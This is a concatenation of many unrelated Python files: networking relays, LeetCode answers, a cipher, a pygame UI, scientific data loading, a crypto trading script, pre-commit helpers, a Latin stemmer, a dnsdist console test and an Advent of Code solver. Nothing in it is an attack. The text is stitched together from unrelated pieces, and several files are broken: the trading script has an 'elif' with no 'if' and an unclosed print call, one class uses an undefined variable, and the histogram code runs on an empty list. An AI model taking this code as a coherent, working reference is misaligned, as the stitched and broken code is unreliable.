from socket import * from threading import Thread import time import os portr3 = 26613 #r3 port sPort = 26614 #s port def r3(): server = socket(AF_INET, SOCK_DGRAM) server.bind(('10.10.3.2',portr3)) #bind port r3 to s i=0 while i<1000: #take 1000 messages from s and send them to the d msg, addr = server.recvfrom(2048) #take message from s clientSocket = socket(AF_INET, SOCK_DGRAM) clientSocket.sendto("msg",('10.10.3.1', sPort)) #send feedback to s clientSocket.close() clientSocket = socket(AF_INET, SOCK_DGRAM) clientSocket.sendto(msg,('10.10.7.1', 26610)) #send the messages coming from s to d clientSocket.close() server1 = socket(AF_INET, SOCK_DGRAM) server1.bind(('10.10.7.2',portr3)) #bind port r3 to d msg, addr = server1.recvfrom(2048) #take feedback from d server1.close() i=i+1 server.close() #create thread t1 = Thread(target=r3, args=()) t1.start() t1.join()
from typing import List class Solution: def maxArea(self, height: List[int]) -> int: max_area = 0 i = 0 j = len(height) - 1 while i != j: max_area = max(max_area, min(height[i], height[j]) * (j - i)) if height[i] > height[j]: j -= 1 else: i += 1 return max_area if __name__ == '__main__': s = Solution() print(s.maxArea([1,8,6,2,5,4,8,3,7]))
a=[3,10,-1] print (a) #1:20-3:10 a.append(1) print(a) a.append("hello") print(a) a.append([1,2]) print(a)
import unittest from parameterized import parameterized import numpy as np import scipy.stats import tensorflow as tf import sum_of_gaussians as sog class CalculateMultivariateGaussianTest(unittest.TestCase): @parameterized.expand([ # x amp mean cov ('on_mean', 1., 1., [1.], [[1.]]), ('fwhm', np.sqrt(2*np.log(2)), 1., [0.], [[1.]]), ('far_away', 10000., 1., [0.], [[1.]]), ('small_var', 1., 1., [0.], [[.5]]), ('large_var', 1., 1., [0.], [[2.]]), ('negative_mean', 1.5, 1., [-2.5], [[3.]]), ('amp_double', 1., 2., [0.], [[2.]]), ('amp_zero', 1., 0., [0.], [[2.]]), ]) def test_correctness_1d(self, _, x, amp, mean, cov): """Compares our implementation against scipy's one as ground truth.""" value = sog.calculate_multivariate_gaussian([x], amp, mean, cov).numpy() std = np.sqrt(cov)[0, 0] scipy_value = std * np.sqrt(2*np.pi) * scipy.stats.norm(loc=mean, scale=std).pdf(x)[0] self.assertAlmostEqual(amp * scipy_value, value) @parameterized.expand([ # x amp mean cov matrix ('on_mean', [1., 1.], 1., [1., 1.], [[1., 0.], [0., 1.]]), ('not_on_mean', [.5, 1.], 1., [0., 1.], [[1., 0.5], [0.5, 1.]]), ('far_away', [100., 100.], 1., [0., 0.], [[1., 0.], [0., 1.]]), ('small_var', [1., 2.], 1., [0., 0.], [[.1, 0.], [0., .1]]), ('large_var', [1., 2.], 1., [0., 0.], [[10., 0.], [0., 10.]]), ('diag_var', [1., 2.], 1., [0., 0.], [[1.5, 0.5], [0.5, 1.]]), ('negative_mean', [1., 1.], 1., [-1., 0.5], [[2., 1.], [1., 2.]]), ('amp_double', [1., 2.], 2., [0., 0.], [[.1, 0.], [0., .1]]), ('amp_zero', [1., 2.], 0., [0., 0.], [[.1, 0.], [0., .1]]), ]) def test_correctness_2d(self, _, x, amp, mean, cov): """Compares our implementation against scipy's one as ground truth.""" value = sog.calculate_multivariate_gaussian([x], amp, mean, cov).numpy()[0] stat = scipy.stats.multivariate_normal(mean=mean, cov=cov) scipy_value = np.sqrt((2 * np.pi) ** 2 * np.linalg.det(cov)) * stat.pdf([x]) self.assertAlmostEqual(scipy_value, value) @parameterized.expand([ ('1d', [1.], [[0.]]), ('2d', [1., 1.], [[0., 0.], [0., 0.]]), ('2d', [1., 1.], [[1., 0.], [1., 0.]]), ]) def test_raises_error_on_singular_cov_matrix(self, _, mean, cov): with self.assertRaisesRegex(tf.errors.InvalidArgumentError, 'Input is not invertible'): x = [0.] * len(mean) _ = sog.calculate_multivariate_gaussian(x, 1., mean, cov) def test_return_shape(self): x = np.arange(12 * 3, dtype=np.float32).reshape((12, 3)) for i in (2, 3, 4, 6): with self.subTest(i=i): _x = x.reshape((i, -1, 3)) val = sog.calculate_multivariate_gaussian(_x, 1., [0., 0., 0.], np.identity(3, dtype=np.float32)) self.assertSequenceEqual(_x.shape[:-1], val.shape)
# substitution cipher s_box = 'qwertyuiopasdfghjklzxcvbnm' s_box = s_box.upper() t = str(raw_input("Enter the plain text :")) t = t.upper() temp = '' for i in range(len(t)): temp+=s_box[ord(t[i])-ord('A')]; print "After Permutation : ", print temp t = temp r_box = 'kxvmcnophqrszyijadlegwbuf' r_box = r_box.upper() temp = '' for i in range(len(t)): temp+=r_box[ord(t[i])-ord('A')]; print "After reverse Permutation : ", print temp
def data_type(data_in=None): if isinstance(data_in, str): length = len(data_in) return length elif data_in == None: return 'no value' elif data_in == False or data_in == True: return data_in elif isinstance(data_in, int): if data_in > 100: return "more than 100" elif data_in < 100: return "less than 100" else: return "equal to 100" else: while isinstance(data_in, list): if len(data_in) > 2: return data_in[2] return None
from __future__ import division import math import pygame from pygame.locals import * from engine.render import controls # Used to draw a grid of information much like the build # menus from TA or C&C class TabularMenu (controls.Panel): accepts_keyup = True def __init__(self, engine, position, size, grid_size, priority=0): super(TabularMenu, self).__init__(position, size, priority) self.screen = screen self.grid_size = grid_size self.position.topleft = position self.key_map = {} self._build_list = None """ Buttons is a list of tuples: (image_name, callback, args) """ self.buttons = [] def draw(self): self._image = pygame.Surface(self.size) self._image.fill((100, 100, 100), pygame.Rect(0, 0, self.size[0], self.size[1])) font = pygame.font.SysFont(None, 30) col_count = math.floor(self.size[0]/self.grid_size[0]) col, row = 0, 0 for actor_name, image_name, queue_length in self.buttons: img = self.engine.images[image_name] self._image.blit(img.get(), pygame.Rect( col * self.grid_size[0], row * self.grid_size[1], self.grid_size[0], self.grid_size[1], )) # Print the queue size if needed if queue_length > 0: textobj = font.render(str(queue_length), 1, (0,0,0)) textrect = textobj.get_rect() textrect.topleft = col * self.grid_size[0] + 5, row * self.grid_size[1] + 3 self._image.blit(textobj, textrect) col += 1 if col >= col_count: col = 0 row += 1 self.position.size = self.size self.changed = False def update_queue_sizes(self, button=None): if type(button) in (tuple, list): raise Exception("No handler to reference a specific button") elif button != None: raise Exception("No handler to reference a specific actor item") build_queues = {} for a in self.screen.selected_actors: for b in a.build_queue: if b not in build_queues: build_queues[b] = 0 build_queues[b] += 1 for i in range(len(self.buttons)): if self.buttons[i][0] in build_queues: self.buttons[i][2] = build_queues[self.buttons[i][0]] self.changed = True def build_from_actor_list(self): """ Takes a build dict and a list of actors, it then populates itself based on what can be built. """ buttons = [] # First build a list of all the flags flags = [] # Build a list of all the things currently in the build queues build_queues = {} for a in self.screen.selected_actors: if a.team != self.screen.player_team: continue flags.extend(a.flags) for b in a.build_queue: if b not in build_queues: build_queues[b] = 0 build_queues[b] += 1 flags = set(flags) # Now get a list of what can be built for f in flags: if f in self.screen.build_lists: for a in self.screen.build_lists[f]: if a in self.screen.actor_types: img_name = self.screen.actor_types[a]['menu_image'] else: print(a, list(self.screen.actor_types.keys())) raise Exception("No handler for %s" % a) buttons.append([a, img_name, build_queues.get(a, 0)]) self.buttons = buttons self.changed = True def handle_keyup(self, event): print(event) def handle_mouseup(self, event, drag=False): # It's simply a timing error if self.screen.selected_actors == []: return relative_pos = (event.pos[0] - self.position.left, event.pos[1] - self.position.top) col = math.floor(relative_pos[0]/self.grid_size[0]) row = math.floor(relative_pos[1]/self.grid_size[1]) col_count = int(math.floor(self.size[0]/self.grid_size[0])) index = int((col_count * row) + col) # No button there? Ignore the click but they clicked the menu # so we don't want to pass this back to the screen if index >= len(self.buttons): return True # Get the information for the button item_name, item_image, queue_length = self.buttons[index] # What are we looking at? print(item_name, item_image, queue_length) raise Exception("What now?") return True # Used to display text upon a blank background, it's got somewhat # more functionality than the standard textbox control class InfoBox (controls.Panel): def __init__(self, engine, position, size, fill_colour = (0, 0, 0), text_colour = (255, 255, 255), priority=0): super(InfoBox, self).__init__(position, size, priority) self.fill_colour = fill_colour self.text_colour = text_colour self.texts = [] def add_text(self, obj, attribute, key=None, position=(0,0), colour=None, prefix="", suffix="", typecast="int"): if colour == None: colour = self.text_colour self.texts.append({ "obj": obj, "attribute": attribute, "key": key, "position": position, "colour": colour, "prefix": prefix, "suffix": suffix, "typecast": typecast, }) def draw(self): self._image = pygame.Surface(self.rect.size) self._image.fill(self.fill_colour, pygame.Rect(0, 0, self.rect.width, self.rect.height)) font = pygame.font.SysFont("Helvetica", 16) for t in self.texts: if t['key'] == None: v = getattr(t['obj'], t['attribute']) else: v = getattr(t['obj'], t['attribute'])[t['key']] if t['typecast'] == "int": v = int(v) else: raise Exception("No handler for typecast type of '%s'" % t['typecast']) text = "%s%s%s" % (t['prefix'], v, t['suffix']) textobj = font.render(text, 1, t['colour']) textrect = textobj.get_rect() textrect.topleft = t['position'] self._image.blit(textobj, textrect) def draw_text(self, text, surface, x, y, colour=(0,0,0), font_name="Helvetica", font_size=20): font = pygame.font.SysFont(font_name, font_size) textobj = font.render(text, 1, colour) textrect = textobj.get_rect() textrect.topleft = (x, y) surface.blit(textobj, textrect) # Not expected to respond to mouse events def handle_mouseup(self, event, drag=False): pass
# -*- coding: utf-8 -*- """ Created on Thu Apr 6 11:19:26 2017 @author: Susanna Hammarberg """ #from IPython import get_ipython #get_ipython().magic('reset -sf') # import numpy as np import h5py import matplotlib.pyplot as plt # Path for raw data from detector lambda data_path = 'F:\\run48_Wallentin\data\detectors\lambda\\' sample = 'JWMK16_NW1_cdi1' nbr_scans = 958# 958 # create matrix to hold diffraction patterns diffSet=np.zeros((nbr_scans, 516, 1556), dtype=np.int32) # read data from hdf5-files for scan_nbr in range(0,nbr_scans): scanCDI = h5py.File(data_path + sample + '\\' + sample + '_' + str('{0:05}'.format(scan_nbr)) + '.nxs','r') # read-only data = scanCDI.get('/entry/instrument/detector/data') np_data = np.array(data) # rotate and remove 3D thing #np_data33 = (np_data33[0]) # scan33 = h5py.File('scan33/pilatus_scan_33_' + str('{0:04}'.format(scan_nbr)) + '.hdf5','r') # read-only # data_scan33 = scan33.get('/entry_0000/measurement/Pilatus/data' ) # np_data33 = np.array(data_scan33) #Varför har den tre dimensioner? diffSet[scan_nbr] = np_data #description = scanCDI.get(' /entry/instrument/detector/geometry/description') #np_description = np.array(description) #del #diffSet = misc.imread('P.png',flatten=True) # Experment parameters xDet = 0.5849 # Object-detector distance, m; 0.4357 ; 0.5849 ; 0.8919 ; 1.4804 pixel = 0.055E-3 # Pixel ctr to ctr distance (w) energy = 13.8 # keV wavelength = 1.23984E-9/energy kLength = 2*np.pi/wavelength # 1/m needed? plt.figure() plt.imshow(np.log10(sum(diffSet)))
import matplotlib.pyplot as plt # 准备数据 time = [] # 创建画布 plt.figure() # 绘制图像 ## x = 横坐标 ## bins = 组数 = int(max(x) - min(x) // 组距) # y轴变量可以是频数也可以是频率 distance = 2 group_num = int((max(time) - min(time)) / distance) plt.hist(time, bins=group_num) plt.xticks(range(min(time), max(time), distance)) # 显示图像 plt.show()
from plugins import BotPlugin class SampleBotPlugin(BotPlugin): TRIGGER = "hello SamplePlugin" def __init__(self): self.name = None def exec_plugin(self, command): return "hello I am {}".format(self.__class__)
''' https://leetcode.com/problems/reorder-list/submissions/1 ''' # Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def reorderList(self, head): """ :type head: ListNode :rtype: void Do not return anything, modify head in-place instead. """ if not head or head.next is None: return # find middle of linkedlist mid, fast = head, head while fast.next and fast.next.next: mid = mid.next fast = fast.next.next # reverse after mid prev, curr = mid.next, mid.next.next prev.next = None while curr: next_node = curr.next curr.next = prev prev = curr curr = next_node mid.next = prev # merge lists left = head right = mid.next while left != mid: next_left = left.next next_right = right.next left.next = right right.next = next_left left = next_left right = next_right left.next = right sol = Solution() nom = ListNode(1) nom.next = ListNode(2) nom.next.next= ListNode(3) nom.next.next.next = ListNode(4) sol.reorderList(nom) while nom: print(nom.val) nom = nom.next
import abc from chillapi.swagger import BeforeRequestEventType, BeforeResponseEventType from chillapi.swagger.http import AutomaticResource, ResourceResponse class EventDto: bag: dict = None def __repr__(self): return self.__class__.__name__ def for_json(self): return {"name": self.__class__.__name__} class BeforeRequestEvent(EventDto): @abc.abstractmethod def on_event(self, resource: AutomaticResource, **args) -> BeforeRequestEventType: pass class BeforeResponseEvent(EventDto): @abc.abstractmethod def on_event( self, resource: AutomaticResource, response: ResourceResponse, before_request_event: BeforeRequestEvent = None, **args ) -> BeforeResponseEventType: pass class AfterResponseEvent(EventDto): @abc.abstractmethod def on_event(self, response: object) -> None: pass class NullBeforeRequestEvent(BeforeRequestEvent): def on_event(self, resource: AutomaticResource, **args) -> BeforeRequestEventType: pass class NullBeforeResponseEvent(BeforeResponseEvent): def on_event(self, resource: AutomaticResource, **args) -> BeforeRequestEventType: pass class NullAfterResponseEvent(AfterResponseEvent): def on_event(self, resource: AutomaticResource, **args): pass
import socket import cv2 import time import subprocess import os Bash_script_location = os.path.join(os.getcwd(), "flirpi", "single_read.sh") img_location = "/mnt/ramdisk/temp.png" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) while True: start_time = time.time() rc = subprocess.call(Bash_script_location, shell=True) img = cv2.imread(img_location, -1) b = bytearray(img) sock.sendto(b, ("192.168.31.255", 5002)) time.sleep(0.1) end_time = time.time() # print("Frame sent in %.4f" % (end_time - start_time))
#!/usr/bin/env python # -*- coding:utf-8 -*- def test1(): print("----test1-----") def test2(): print("----test2-----") # print(__name__) if __name__ == "__main__": test1() test2()
#!/usr/bin/env python3 import cv2 import tempfile from PIL import Image import imutils import numpy as np import argparse import os import shutil import logging IMAGE_SIZE = 1800 BINARY_THREHOLD = 180 logger = logging.getLogger('image_processing') logger.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) logger.addHandler(ch) def set_image_dpi(file_path): im = Image.open(file_path) length_x, width_y = im.size factor = min(1, float(3000.0 / length_x)) size = int(factor * length_x), int(factor * width_y) im_resized = im.resize(size, Image.ANTIALIAS) temp_file = tempfile.NamedTemporaryFile(delete=False, suffix='.png') temp_filename = temp_file.name im_resized.save(temp_filename, dpi=(600, 600)) return temp_filename def process_image_for_ocr(file_path): logger.info('Processing image for text Extraction: ' + file_path) temp_filename = set_image_dpi(file_path) im_new = remove_noise_and_smooth(temp_filename) return im_new def image_smoothening(img): ret1, th1 = cv2.threshold(img, BINARY_THREHOLD, 255, cv2.THRESH_BINARY) ret2, th2 = cv2.threshold(th1, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) blur = cv2.GaussianBlur(th2, (1, 1), 0) ret3, th3 = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) return th3 def remove_noise_and_smooth(file_name): logger.info('Removing noise and smoothening image') img = cv2.imread(file_name, 0) filtered = cv2.adaptiveThreshold(img.astype(np.uint8), 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 41, 3) kernel = np.ones((1, 1), np.uint8) opening = cv2.morphologyEx(filtered, cv2.MORPH_OPEN, kernel) closing = cv2.morphologyEx(opening, cv2.MORPH_CLOSE, kernel) img = image_smoothening(img) or_image = cv2.bitwise_or(img, closing) return or_image ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", required=True, help="path to input image file") args = vars(ap.parse_args()) img = process_image_for_ocr(args["image"]) cv2.imwrite(os.path.splitext(args["image"])[0] + ".png", img) shutil.move(os.path.splitext(args["image"])[0] + ".png", args["image"])
#cc_engine.py #Author: Timothy Damir Kovacic #Created 5/30/2021 import cbpro import time import logging from datetime import date, datetime, timedelta from pytz import timezone import matplotlib.pyplot as plt import os import sys import numpy as np import tensorflow as tf #variables global OKCYAN; OKCYAN = '\033[96m'; global OKGREEN; OKGREEN = '\033[92m'; global FAIL; FAIL = '\033[91m'; global WARN; WARN = '\033[93m'; logging.basicConfig(format='%(asctime)s,%(msecs)d %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s',datefmt='%Y-%m-%d:%H:%M:%S',level=logging.ERROR); logger = logging.getLogger(__name__); eastern = timezone('US/Eastern'); global shortLength; shortLength = 1; global longLength; longLength = 5; global granularity; granularity = 300; #functions def ingestShortData(market, client): sDateTime = datetime.now(eastern).isoformat(); eDateTime = (datetime.now(eastern)-timedelta(minutes=shortLength)).isoformat(); data = []; for rates in client.get_product_historic_rates(str(market),str(eDateTime),str(sDateTime),granularity): data.append(rates[4]); return data; def ingestLongData(market, client): sDateTime = datetime.now(eastern).isoformat(); eDateTime = (datetime.now(eastern)-timedelta(minutes=longLength)).isoformat(); data = []; for rates in client.get_product_historic_rates(str(market),str(eDateTime),str(sDateTime),granularity): data.append(rates[4]); return data; def fetchCurrentQuote(market, client): bids = client.get_product_order_book(str(market)); q = bids["bids"][0][0]; return str(q); def calculateFeatures(market, tbp, tsp, client): rawShortData = ingestShortData(market, client); rawLongData = ingestLongData(market, client); q = float(fetchCurrentQuote(market, client)); output = str(tbp) + "||" + str(tsp); return output; def persistModel(market, model): elif(market=="GRT-USD"): model.save("Models/dnnGRTModel.h5"); def fitModel(market, model, tbp, tsp, q): xTrain = [tbp,tsp]; yTrain = [q]; xTrain = np.asarray(xTrain).astype('float32'); yTrain = np.asarray(yTrain).astype('float32'); xTrain = np.reshape(xTrain, (1, 1, 2)); yTrain = np.reshape(yTrain, (1, 1, 1)); model.fit(xTrain, yTrain, epochs=5, batch_size=1, verbose=0); persistModel(market, model); def printInterface(market, f1, f2): print(OKCYAN + str(market); print(OKCYAN + "==============================") print(FAIL + str(f1) + OKCYAN + " / " + OKGREEN + str(f2)); print(OKCYAN);
import spidev import time import requests from requests.exceptions import HTTPError _numValues = 0 _mean = 0 _s = 0 def server_sendLightData(newData): url = 'http://pi-wireless:8000/submitLightValue/' url = url + str(newData) try: response = requests.get(url) response.raise_for_status() except HTTPError as http_err: print ('HTTP error ',http_err) except Exception as err: print('other error ',err) else: obj = response.json() print(obj) return obj['Average'] def WelfordsAlgorithm(newLightValue): global _numValues global _mean global _s _numValues += 1 if _numValues == 1: _mean = newLightValue _s = 0 else: _oldMean = _mean _mean = _oldMean + (newLightValue - _oldMean) / _numValues _s = _s + ((newLightValue - _oldMean) * (newLightValue - _mean)) #print (_numValues) return _mean def createSPI(device): spi = spidev.SpiDev() spi.open(0,device) spi.max_speed_hz=1000000 spi.mode = 0 return spi if __name__ == '__main__': try: spiR = createSPI(0) spiS = createSPI(1) while True: # newLightValue = (spiR.readbytes(1)) # average = WelfordsAlgorithm(newLightValue[0]) command = int(input("Enter a command \n")) if(command == 1): #print ("one \n") spiR.xfer([0x10]) time.sleep(1) newLightValue = (spiR.readbytes(1)) print (newLightValue[0]) elif(command == 2): #print ("two \n") spiS.xfer([0x20]) #average = WelfordsAlgorithm(newLightValue[0]) average = server_sendLightData(newLightValue[0]) print (average) #spiS.xfer([int(average)]) print (average) elif(command == 3): #print ("three \n") spiS.xfer([0x40]) lightValue = newLightValue[0] #spiS.xfer([0x40]) spiS.xfer([int(lightValue)]) print (lightValue) else: print ("Enter commands \n") #newLightValue = (spiR.readbytes(1)) #print (newLightValue) #average = WelfordsAlgorithm(spiR.readbytes(1)[0]) #average = WelfordsAlgorithm(5) #print (average) #spiS.xfer([int(average)]) time.sleep(1) except KeyboardInterrupt: spiR.close() spiS.close() exit()
"""Define the abstract base class for a command parser.""" from abc import ABC, abstractmethod from app.controller import ResponseTuple from typing import Optional class Command(ABC): """Define the properties and methods needed for a command parser.""" command_name = "" desc = "" def __init__(self): self.subparser = None @abstractmethod def handle(self, _command: str, user_id: str) -> ResponseTuple: """Handle a command.""" pass def get_help(self, subcommand: Optional[str] = None) -> str: """ Return command options with Slack formatting. If ``self.subparser`` isn't used, return the command's description instead. If ``subcommand`` is specified, return options for that specific subcommand (if that subcommand is one of the subparser's choices). Otherwise return a list of subcommands along with a short description. :param subcommand: name of specific subcommand to get help :return: nicely formatted string of options and help text """ if self.subparser is None: return self.desc if subcommand is None or subcommand not in self.subparser.choices: # Return commands and their descriptions res = f"\n*{self.command_name} commands:*" for argument in self.subparser.choices: cmd = self.subparser.choices[argument] res += f'\n> *{cmd.prog}*: {cmd.description}' return res else: # Return specific help-text of command res = "\n```" cmd = self.subparser.choices[subcommand] res += cmd.format_help() return res + "```"
from __future__ import annotations import contextlib import os import random import re import shlex from typing import Any from typing import ContextManager from typing import Generator from typing import NoReturn from typing import Protocol from typing import Sequence import pre_commit.constants as C from pre_commit import parse_shebang from pre_commit import xargs from pre_commit.prefix import Prefix from pre_commit.util import cmd_output_b FIXED_RANDOM_SEED = 1542676187 SHIMS_RE = re.compile(r'[/\\]shims[/\\]') class Language(Protocol): # Use `None` for no installation / environment @property def ENVIRONMENT_DIR(self) -> str | None: ... # return a value to replace `'default` for `language_version` def get_default_version(self) -> str: ... # return whether the environment is healthy (or should be rebuilt) def health_check(self, prefix: Prefix, version: str) -> str | None: ... # install a repository for the given language and language_version def install_environment( self, prefix: Prefix, version: str, additional_dependencies: Sequence[str], ) -> None: ... # modify the environment for hook execution def in_env(self, prefix: Prefix, version: str) -> ContextManager[None]: ... # execute a hook and return the exit code and output def run_hook( self, prefix: Prefix, entry: str, args: Sequence[str], file_args: Sequence[str], *, is_local: bool, require_serial: bool, color: bool, ) -> tuple[int, bytes]: ... def exe_exists(exe: str) -> bool: found = parse_shebang.find_executable(exe) if found is None: # exe exists return False homedir = os.path.expanduser('~') try: common: str | None = os.path.commonpath((found, homedir)) except ValueError: # on windows, different drives raises ValueError common = None return ( # it is not in a /shims/ directory not SHIMS_RE.search(found) and ( # the homedir is / (docker, service user, etc.) os.path.dirname(homedir) == homedir or # the exe is not contained in the home directory common != homedir ) ) def setup_cmd(prefix: Prefix, cmd: tuple[str, ...], **kwargs: Any) -> None: cmd_output_b(*cmd, cwd=prefix.prefix_dir, **kwargs) def environment_dir(prefix: Prefix, d: str, language_version: str) -> str: return prefix.path(f'{d}-{language_version}') def assert_version_default(binary: str, version: str) -> None: if version != C.DEFAULT: raise AssertionError( f'for now, pre-commit requires system-installed {binary} -- ' f'you selected `language_version: {version}`', ) def assert_no_additional_deps( lang: str, additional_deps: Sequence[str], ) -> None: if additional_deps: raise AssertionError( f'for now, pre-commit does not support ' f'additional_dependencies for {lang} -- ' f'you selected `additional_dependencies: {additional_deps}`', ) def basic_get_default_version() -> str: return C.DEFAULT def basic_health_check(prefix: Prefix, language_version: str) -> str | None: return None def no_install( prefix: Prefix, version: str, additional_dependencies: Sequence[str], ) -> NoReturn: raise AssertionError('This language is not installable') @contextlib.contextmanager def no_env(prefix: Prefix, version: str) -> Generator[None, None, None]: yield def target_concurrency() -> int: if 'PRE_COMMIT_NO_CONCURRENCY' in os.environ: return 1 else: # Travis appears to have a bunch of CPUs, but we can't use them all. if 'TRAVIS' in os.environ: return 2 else: return xargs.cpu_count() def _shuffled(seq: Sequence[str]) -> list[str]: """Deterministically shuffle""" fixed_random = random.Random() fixed_random.seed(FIXED_RANDOM_SEED, version=1) seq = list(seq) fixed_random.shuffle(seq) return seq def run_xargs( cmd: tuple[str, ...], file_args: Sequence[str], *, require_serial: bool, color: bool, ) -> tuple[int, bytes]: if require_serial: jobs = 1 else: # Shuffle the files so that they more evenly fill out the xargs # partitions, but do it deterministically in case a hook cares about # ordering. file_args = _shuffled(file_args) jobs = target_concurrency() return xargs.xargs(cmd, file_args, target_concurrency=jobs, color=color) def hook_cmd(entry: str, args: Sequence[str]) -> tuple[str, ...]: return (*shlex.split(entry), *args) def basic_run_hook( prefix: Prefix, entry: str, args: Sequence[str], file_args: Sequence[str], *, is_local: bool, require_serial: bool, color: bool, ) -> tuple[int, bytes]: return run_xargs( hook_cmd(entry, args), file_args, require_serial=require_serial, color=color, )
from django.db.models.signals import post_save, pre_delete from django.dispatch import receiver from .models import Ask from apps.core.sync import SyncAsk @receiver(post_save, sender=Ask) def signal_post_save(sender, instance=None, created=False, **kwargs): if not created: if instance.active is False: SyncAsk(instance.id).delete() @receiver(pre_delete, sender=Ask) def signal_pre_delete(sender, instance=None, **kwargs): SyncAsk(instance.id).delete()
"""Stem Latin words with an implementation of the Schinke Latin stemming algorithm (Schinke R, Greengrass M, Robertson AM and Willett P. (1996). 'A stemming algorithm for Latin text databases'. Journal of Documentation, 52: 172-187). .. todo:: Make this stemmer like lemma, with import from ``stem`` dir. """ __author__ = ["Luke Hollis <lukehollis@gmail.com>"] __license__ = "MIT License. See LICENSE." import re from cltk.stops.lat import STOPS def _checkremove_que(word): """If word ends in -que and if word is not in pass list, strip -que""" in_que_pass_list = False que_pass_list = [ "atque", "quoque", "neque", "itaque", "absque", "apsque", "abusque", "adaeque", "adusque", "denique", "deque", "susque", "oblique", "peraeque", "plenisque", "quandoque", "quisque", "quaeque", "cuiusque", "cuique", "quemque", "quamque", "quaque", "quique", "quorumque", "quarumque", "quibusque", "quosque", "quasque", "quotusquisque", "quousque", "ubique", "undique", "usque", "uterque", "utique", "utroque", "utribique", "torque", "coque", "concoque", "contorque", "detorque", "decoque", "excoque", "extorque", "obtorque", "optorque", "retorque", "recoque", "attorque", "incoque", "intorque", "praetorque", ] if word not in que_pass_list: word = re.sub(r"que$", "", word) else: in_que_pass_list = True return word, in_que_pass_list def _matchremove_simple_endings(word): """Remove the noun, adjective, adverb word endings""" was_stemmed = False # noun, adjective, and adverb word endings sorted by charlen, then alph simple_endings = [ "ibus", "ius", "ae", "am", "as", "em", "es", "ia", "is", "nt", "os", "ud", "um", "us", "a", "e", "i", "o", "u", ] for ending in simple_endings: if word.endswith(ending): word = re.sub(r"{0}$".format(ending), "", word) was_stemmed = True break return word, was_stemmed def _matchremove_verb_endings(word): """Remove the verb endings""" i_verb_endings = ["iuntur", "erunt", "untur", "iunt", "unt"] bi_verb_endings = ["beris", "bor", "bo"] eri_verb_endings = ["ero"] verb_endings = [ "mini", "ntur", "stis", "mur", "mus", "ris", "sti", "tis", "tur", "ns", "nt", "ri", "m", "r", "s", "t", ] # replace i verb endings with i for ending in i_verb_endings: if word.endswith(ending): word = re.sub(r"{0}$".format(ending), "i", word) return word # replace bi verb endings with bi for ending in bi_verb_endings: if word.endswith(ending): word = re.sub(r"{0}$".format(ending), "bi", word) return word # replace eri verb endings with eri for ending in eri_verb_endings: if word.endswith(ending): word = re.sub(r"{0}$".format(ending), "eri", word) return word # otherwise, remove general verb endings for ending in verb_endings: if word.endswith(ending): word = re.sub(r"{0}$".format(ending), "", word) break return word def stem(word: str) -> str: """ Stem each word of the Latin text. >>> stem('interdum') 'interd' >>> stem('mercaturis') 'mercatur' """ if word not in STOPS: # remove '-que' suffix word, in_que_pass_list = _checkremove_que(word) if not in_que_pass_list: # remove the simple endings from the target word word, was_stemmed = _matchremove_simple_endings(word) # if word didn't match the simple endings, try verb endings if not was_stemmed: word = _matchremove_verb_endings(word) return word
from dnsdist_console import Console import unittest class TestConnect(unittest.TestCase): def setUp(self): self.console = Console(host="127.0.0.1", port=5199, key="GQpEpQoIuzA6kzgwDokX9JcXPXFvO1Emg1wAXToJ0ag=") def tearDown(self): self.console.disconnect() def test_show_version(self): """connect and get version""" o = self.console.send_command(cmd="showVersion()") self.assertRegex(o, ".*dnsdist.*")
from utils import * grid = Grid("input18") key_pos = {k: p for p, k in grid.items() if k.islower()} for p in grid: if grid[p] == '@': start_pos = p def get_dists_from(spos): """ Compute the distance to each key from spos and the doors that must be passed though. Relies on the fact that there's no way to go "around" any doors without its key in the input. """ res = {} def adj(p_): p, doors = p_ c = grid[p] if c.isupper(): doors |= {c.lower()} if c != '#': return [(q, doors) for q in neighbours(p)] gr = FGraph(adj, key=lambda p_: p_[0]) for ((p, doors), dist) in gr.BFS((spos, frozenset())): c = grid[p] if c.islower(): res[c] = (doors, dist) return res def get_key_dists(): """Computes the distances and doors required between each pair of keys""" return {k: get_dists_from(p) for k, p in key_pos.items()} key_dists = get_key_dists() key_dists['@'] = get_dists_from(start_pos) def adj1(p_): """ Adjancency function for the graph whose nodes encode which keys have been collected so far + the most recent one """ p, ks = p_ # print(astar.dist, len(astar.pqueue), p) return {(q, ks | {q}): dist for (q, (doors, dist)) in key_dists[p].items() if doors <= ks and q not in ks} def end_cond(p): return len(p[1]) == len(key_pos) @cache def minpath(p, adj): if end_cond(p): return 0 return min(d+minpath(p, adj) for p, d in adj(p).items()) # part 1: print(minpath(('@', frozenset()), adj1)) starts = [] for x in range(-1, 2): for y in range(-1, 2): pos = x+y*1j if x*y == 0: grid[start_pos + pos] = '#' else: grid[start_pos + pos] = '@' starts += [start_pos + pos] starts = tuple(starts) key_dists = get_key_dists() for i, p in enumerate(starts): key_dists[i] = get_dists_from(p) def adj2(p_): """ Adjecency function for the graph whose nodes include the set of keys collected so far and the most recently collected ones for each of the 4 bots """ ps, ks = p_ # print(len(ks), gr.dists[p_], len(gr.pqueue)) res = [] for i, p in enumerate(ps): moves = [((q, ks | {q}), dist) for (q, (doors, dist)) in key_dists[p].items() if doors <= ks and q not in ks] res += [((modify_idx(ps, i, q), nks), dist) for ((q, nks), dist) in moves] return {n: d for (n, d) in res} # min_dist = min([key_dists[p][q][1] for p in key_dists for q in key_dists[p]]) # gr = FGraph(adj2) start = ((0, 1, 2, 3), frozenset()) # for ((_, ks), d) in gr.astar_gen(start, h=lambda p_: min_dist * # (len(key_pos) - len(p_[1]))): # print(len(ks), d, len(gr.pqueue)) # if len(ks) == len(key_pos): # print(d) # exit() print(minpath(start, adj2))
